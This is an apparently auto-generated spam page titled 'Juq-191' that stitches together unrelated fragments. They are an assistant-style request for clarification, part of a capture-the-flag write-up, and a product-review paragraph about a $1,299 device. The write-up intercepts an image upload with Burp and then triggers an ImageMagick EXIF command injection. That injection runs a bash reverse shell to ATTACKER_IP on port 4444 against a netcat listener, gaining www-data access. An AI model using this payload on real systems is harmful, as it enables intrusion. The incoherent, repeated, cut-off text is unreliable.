Juq-191 !free! May 2026

To provide a useful write-up, I would need a bit more context. Is this related to: A specific industry? (e.g., aerospace, electronics, or automotive parts) A digital media code? (e.g., a specific video or catalog ID) Internal company documentation? (e.g., a project or ticket number) Could you clarify the context or field where you encountered this code?

3.1. Intercept the Request

Using Burp Suite → Proxy → Intercept:

Choose a JPEG file (test.jpg) and hit Upload.
Burp shows the request:

POST /upload.php HTTP/1.1
Host: juq191.chal.hackthebox.eu
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...
------WebKitFormBoundary...
Content-Disposition: form-data; name="picture"; filename="test.jpg"
Content-Type: image/jpeg
[binary data]
------WebKitFormBoundary...

The server replies with File uploaded successfully! and a randomised filename (e.g., uploads/6e5c8c4e8d.jpg). The file appears in the gallery. juq-191

4.3. Upload & Trigger

Start listener on your machine:
```
nc -lvkp 4444
```
Upload payload.jpg via the web form.
The server stores it as uploads/5f3a9c7b8a.jpg.
When the script runs the convert command, ImageMagick parses the EXIF tag and executes:
```
|/bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
```

Result – a reverse shell appears on your listener: To provide a useful write-up, I would need

[*] Listening on 0.0.0.0:4444 ...
[*] Connection received from 10.10.14.22:54321
bash-5.0$ whoami
www-data

We now have RCE as the www-data user.

5. Value for Money

At its current price point (≈ $1,299), the Juq‑191 offers a premium experience that rivals far more expensive competitors. The combination of performance, build quality, and thoughtful extras makes it a fantastic investment for both professionals and power‑users. Choose a JPEG file ( test